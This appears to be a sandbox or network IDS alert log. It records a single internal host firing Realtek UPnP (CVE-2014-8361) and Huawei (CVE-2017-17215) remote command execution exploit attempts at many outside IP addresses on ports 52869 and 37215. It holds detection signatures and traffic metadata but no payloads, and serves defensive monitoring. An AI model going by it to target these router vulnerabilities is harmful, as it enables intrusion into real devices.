07/20/24-23:01:52.116386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47788	52869	192.168.2.23	126.2.96.116
07/20/24-23:01:44.745095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36580	52869	192.168.2.23	140.201.238.135
07/20/24-23:01:20.157619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55882	37215	192.168.2.23	157.133.195.170
07/20/24-23:01:59.104072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45002	52869	192.168.2.23	23.185.211.99
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53918	37215	192.168.2.23	157.249.229.44
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33796	37215	192.168.2.23	157.139.28.102
07/20/24-23:01:07.036064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33808	37215	192.168.2.23	76.182.125.5
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54644	37215	192.168.2.23	197.141.230.31
07/20/24-23:01:08.903232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51704	52869	192.168.2.23	131.199.217.59
07/20/24-23:01:42.250039	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38152	52869	192.168.2.23	136.37.204.244
07/20/24-23:01:31.974837	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35808	37215	192.168.2.23	169.97.93.18
07/20/24-23:01:44.527952	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46940	52869	192.168.2.23	163.49.61.251
07/20/24-23:01:45.037292	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57826	52869	192.168.2.23	83.201.129.18
07/20/24-23:01:48.138392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58154	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:49.578308	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42790	52869	192.168.2.23	37.20.218.143
07/20/24-23:01:44.325103	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57446	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:45.731228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35482	52869	192.168.2.23	222.131.76.141
07/20/24-23:01:51.288562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38702	52869	192.168.2.23	209.27.18.74
07/20/24-23:01:08.584507	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35960	52869	192.168.2.23	8.98.158.174
07/20/24-23:01:43.141970	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45448	52869	192.168.2.23	50.218.167.53
07/20/24-23:01:31.321189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55696	52869	192.168.2.23	106.220.99.163
07/20/24-23:01:20.202325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59032	37215	192.168.2.23	197.211.124.137
07/20/24-23:01:42.758699	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56734	52869	192.168.2.23	96.213.123.243
07/20/24-23:01:50.176893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36354	52869	192.168.2.23	216.183.225.201
07/20/24-23:01:56.327422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57670	52869	192.168.2.23	87.244.170.26
07/20/24-23:01:44.118192	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33128	52869	192.168.2.23	67.14.83.223
07/20/24-23:01:48.021704	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38126	52869	192.168.2.23	114.19.125.68
07/20/24-23:01:51.220119	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35088	52869	192.168.2.23	46.50.151.45
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40244	37215	192.168.2.23	197.83.239.39
07/20/24-23:01:41.217142	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32860	52869	192.168.2.23	41.87.239.136
07/20/24-23:00:57.222164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34472	37215	192.168.2.23	41.90.43.161
07/20/24-23:01:31.312614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56772	52869	192.168.2.23	188.173.105.15
07/20/24-23:01:41.747994	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48270	52869	192.168.2.23	71.169.30.84
07/20/24-23:00:59.153608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53610	37215	192.168.2.23	41.178.183.186
07/20/24-23:01:34.045143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59604	37215	192.168.2.23	41.36.189.61
07/20/24-23:01:31.313383	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34288	52869	192.168.2.23	47.20.172.49
07/20/24-23:01:44.085493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48974	52869	192.168.2.23	116.148.59.65
07/20/24-23:01:27.650643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40256	37215	192.168.2.23	157.71.17.129
07/20/24-23:01:11.638042	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51356	37215	192.168.2.23	157.158.215.83
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36700	37215	192.168.2.23	197.202.17.201
07/20/24-23:01:46.020177	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56560	52869	192.168.2.23	151.149.108.97
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38094	37215	192.168.2.23	41.70.153.225
07/20/24-23:01:45.165718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36230	52869	192.168.2.23	50.208.25.112
07/20/24-23:01:48.958887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36624	52869	192.168.2.23	95.200.159.137
07/20/24-23:01:56.304951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45530	52869	192.168.2.23	104.73.220.78
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48934	37215	192.168.2.23	157.121.108.79
07/20/24-23:01:13.345185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43504	52869	192.168.2.23	53.137.194.88
07/20/24-23:01:42.280418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49070	52869	192.168.2.23	18.181.232.193
07/20/24-23:01:42.984532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44358	52869	192.168.2.23	42.66.196.35
07/20/24-23:01:40.323034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57026	37215	192.168.2.23	157.183.96.221
07/20/24-23:01:47.966822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41232	52869	192.168.2.23	171.220.105.123
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43754	37215	192.168.2.23	41.99.169.51
07/20/24-23:01:42.677301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55986	52869	192.168.2.23	42.61.115.2
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39240	37215	192.168.2.23	157.210.250.205
07/20/24-23:01:42.631864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49044	52869	192.168.2.23	132.180.52.133
07/20/24-23:01:49.921076	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35244	52869	192.168.2.23	120.69.243.217
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45804	37215	192.168.2.23	197.158.29.84
07/20/24-23:01:08.572556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54124	52869	192.168.2.23	143.254.34.7
07/20/24-23:01:58.755147	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45994	52869	192.168.2.23	92.186.116.223
07/20/24-23:01:08.638879	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51800	52869	192.168.2.23	46.176.142.26
07/20/24-23:01:44.888072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53918	52869	192.168.2.23	105.83.227.139
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41502	37215	192.168.2.23	157.109.181.179
07/20/24-23:01:08.554229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45798	52869	192.168.2.23	189.75.86.189
07/20/24-23:01:13.730392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52548	52869	192.168.2.23	118.135.71.210
07/20/24-23:01:44.489022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35434	52869	192.168.2.23	82.91.121.224
07/20/24-23:01:01.793488	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57682	52869	192.168.2.23	13.112.9.246
07/20/24-23:01:24.813625	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51160	52869	192.168.2.23	90.135.90.32
07/20/24-23:01:59.992285	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37240	52869	192.168.2.23	86.115.200.136
07/20/24-23:00:59.175742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39616	37215	192.168.2.23	157.134.191.30
07/20/24-23:01:46.225146	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36688	52869	192.168.2.23	43.224.149.155
07/20/24-23:01:43.147289	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47782	52869	192.168.2.23	158.240.85.125
07/20/24-23:01:45.072641	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42140	52869	192.168.2.23	107.204.90.199
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44780	37215	192.168.2.23	219.159.165.91
07/20/24-23:01:58.892811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35576	52869	192.168.2.23	96.23.98.70
07/20/24-23:01:57.723224	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45188	52869	192.168.2.23	14.138.152.232
07/20/24-23:01:41.956473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35810	52869	192.168.2.23	175.222.36.60
07/20/24-23:01:44.440143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55764	52869	192.168.2.23	124.24.223.164
07/20/24-23:01:08.589760	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51690	52869	192.168.2.23	190.34.49.149
07/20/24-23:01:51.624541	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48202	52869	192.168.2.23	197.243.125.183
07/20/24-23:01:02.750140	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60326	52869	192.168.2.23	2.32.130.76
07/20/24-23:01:42.685722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50136	52869	192.168.2.23	143.235.222.68
07/20/24-23:01:21.966302	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43454	37215	192.168.2.23	41.66.223.29
07/20/24-23:01:44.996260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39878	52869	192.168.2.23	190.104.185.79
07/20/24-23:01:04.782707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56436	52869	192.168.2.23	139.21.143.158
07/20/24-23:01:08.672944	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50556	52869	192.168.2.23	12.208.124.228
07/20/24-23:01:01.521998	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41562	52869	192.168.2.23	157.99.82.194
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37118	37215	192.168.2.23	41.96.43.132
07/20/24-23:02:20.068152	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37824	52869	192.168.2.23	203.12.208.34
07/20/24-23:01:51.290015	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45152	52869	192.168.2.23	138.90.100.113
07/20/24-23:01:20.119972	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44554	37215	192.168.2.23	41.175.17.192
07/20/24-23:01:42.111275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43974	52869	192.168.2.23	125.78.0.230
07/20/24-23:01:43.360543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54518	52869	192.168.2.23	99.181.48.189
07/20/24-23:01:42.813695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54032	52869	192.168.2.23	196.168.75.104
07/20/24-23:01:49.555689	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35016	52869	192.168.2.23	147.48.69.29
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43742	37215	192.168.2.23	41.45.176.207
07/20/24-23:01:53.344252	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37504	52869	192.168.2.23	40.95.139.12
07/20/24-23:02:05.374045	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55868	52869	192.168.2.23	95.71.29.54
07/20/24-23:01:11.634372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59056	37215	192.168.2.23	41.84.51.227
07/20/24-23:01:41.318733	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55298	52869	192.168.2.23	102.22.43.107
07/20/24-23:02:02.751507	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53576	52869	192.168.2.23	167.60.51.106
07/20/24-23:01:42.939519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50474	52869	192.168.2.23	70.191.15.111
07/20/24-23:01:43.951862	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60714	52869	192.168.2.23	115.59.47.171
07/20/24-23:01:47.775082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38104	52869	192.168.2.23	37.115.2.79
07/20/24-23:01:45.723019	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41890	52869	192.168.2.23	201.140.184.210
07/20/24-23:01:40.290003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56812	37215	192.168.2.23	41.190.219.204
07/20/24-23:01:58.364551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48446	52869	192.168.2.23	192.226.51.190
07/20/24-23:01:53.057358	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54552	52869	192.168.2.23	63.26.163.169
07/20/24-23:01:42.509004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49594	52869	192.168.2.23	1.84.241.246
07/20/24-23:01:42.399678	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60762	52869	192.168.2.23	40.23.131.130
07/20/24-23:01:41.682135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42860	52869	192.168.2.23	8.157.181.46
07/20/24-23:01:31.322288	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41996	52869	192.168.2.23	115.28.108.81
07/20/24-23:01:00.638305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42912	37215	192.168.2.23	156.90.210.240
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42398	37215	192.168.2.23	72.213.126.209
07/20/24-23:01:27.650870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53870	37215	192.168.2.23	41.14.54.254
07/20/24-23:01:59.539512	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35924	52869	192.168.2.23	223.130.78.45
07/20/24-23:01:43.966760	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56330	52869	192.168.2.23	150.220.0.209
07/20/24-23:01:44.814790	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60236	52869	192.168.2.23	63.140.14.0
07/20/24-23:01:02.113054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57042	37215	192.168.2.23	148.121.203.188
07/20/24-23:01:04.097857	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55782	37215	192.168.2.23	157.200.219.60
07/20/24-23:01:41.245523	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58408	52869	192.168.2.23	207.56.45.233
07/20/24-23:01:26.043735	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46620	52869	192.168.2.23	151.83.163.85
07/20/24-23:01:49.454456	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49386	52869	192.168.2.23	203.201.27.61
07/20/24-23:01:07.061779	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46432	37215	192.168.2.23	157.45.105.246
07/20/24-23:01:42.683079	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38692	52869	192.168.2.23	51.209.215.233
07/20/24-23:01:43.852550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41846	52869	192.168.2.23	32.76.174.48
07/20/24-23:01:02.104571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43416	37215	192.168.2.23	157.54.52.201
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58870	37215	192.168.2.23	197.232.195.38
07/20/24-23:01:20.591324	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43900	52869	192.168.2.23	47.250.162.49
07/20/24-23:01:40.307218	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58444	37215	192.168.2.23	197.63.159.44
07/20/24-23:01:47.796509	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52586	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56672	37215	192.168.2.23	44.137.32.198
07/20/24-23:01:56.579360	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50838	52869	192.168.2.23	63.43.122.73
07/20/24-23:01:13.152454	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59356	52869	192.168.2.23	52.234.117.101
07/20/24-23:02:09.321968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51482	52869	192.168.2.23	213.67.172.218
07/20/24-23:01:56.007136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60990	52869	192.168.2.23	104.171.202.164
07/20/24-23:01:59.234150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33340	52869	192.168.2.23	37.223.190.191
07/20/24-23:01:02.047411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47744	37215	192.168.2.23	41.16.105.104
07/20/24-23:01:44.718858	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58092	52869	192.168.2.23	39.124.235.174
07/20/24-23:01:04.115220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51988	37215	192.168.2.23	96.4.116.14
07/20/24-23:01:47.614619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37214	52869	192.168.2.23	174.213.208.19
07/20/24-23:02:01.645032	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54798	52869	192.168.2.23	222.178.130.155
07/20/24-23:01:20.596401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39248	52869	192.168.2.23	157.5.72.210
07/20/24-23:01:53.261844	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36412	52869	192.168.2.23	203.219.226.207
07/20/24-23:01:32.032492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35612	37215	192.168.2.23	155.165.117.153
07/20/24-23:01:12.853279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52536	52869	192.168.2.23	223.86.47.43
07/20/24-23:01:11.817771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59020	37215	192.168.2.23	197.90.60.195
07/20/24-23:01:45.331813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45648	52869	192.168.2.23	60.240.72.8
07/20/24-23:01:34.053062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60982	37215	192.168.2.23	24.36.209.119
07/20/24-23:01:02.702506	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49530	52869	192.168.2.23	132.86.136.162
07/20/24-23:01:27.654172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37200	37215	192.168.2.23	157.251.237.127
07/20/24-23:01:02.359782	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57764	52869	192.168.2.23	169.193.81.146
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59408	37215	192.168.2.23	157.166.180.100
07/20/24-23:01:49.207937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37816	52869	192.168.2.23	135.128.96.121
07/20/24-23:01:41.193880	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34308	52869	192.168.2.23	216.159.45.191
07/20/24-23:01:07.036064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36302	37215	192.168.2.23	157.135.212.156
07/20/24-23:01:08.652877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47380	52869	192.168.2.23	120.98.109.98
07/20/24-23:01:20.598095	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52414	52869	192.168.2.23	205.132.5.218
07/20/24-23:01:53.281781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39014	52869	192.168.2.23	162.69.127.248
07/20/24-23:01:10.711138	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42232	52869	192.168.2.23	181.43.61.4
07/20/24-23:01:43.005974	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56290	52869	192.168.2.23	208.24.233.14
07/20/24-23:01:57.101402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49536	52869	192.168.2.23	9.97.212.169
07/20/24-23:01:27.650870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50818	37215	192.168.2.23	197.157.38.150
07/20/24-23:01:31.317774	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55592	52869	192.168.2.23	35.92.216.124
07/20/24-23:01:41.374418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55916	52869	192.168.2.23	93.148.210.215
07/20/24-23:01:14.095462	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39338	37215	192.168.2.23	197.254.24.88
07/20/24-23:01:46.241196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39282	52869	192.168.2.23	220.111.117.206
07/20/24-23:01:08.614193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59036	52869	192.168.2.23	219.105.54.148
07/20/24-23:01:25.503352	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57016	52869	192.168.2.23	213.71.93.224
07/20/24-23:01:00.638418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36698	37215	192.168.2.23	157.83.139.204
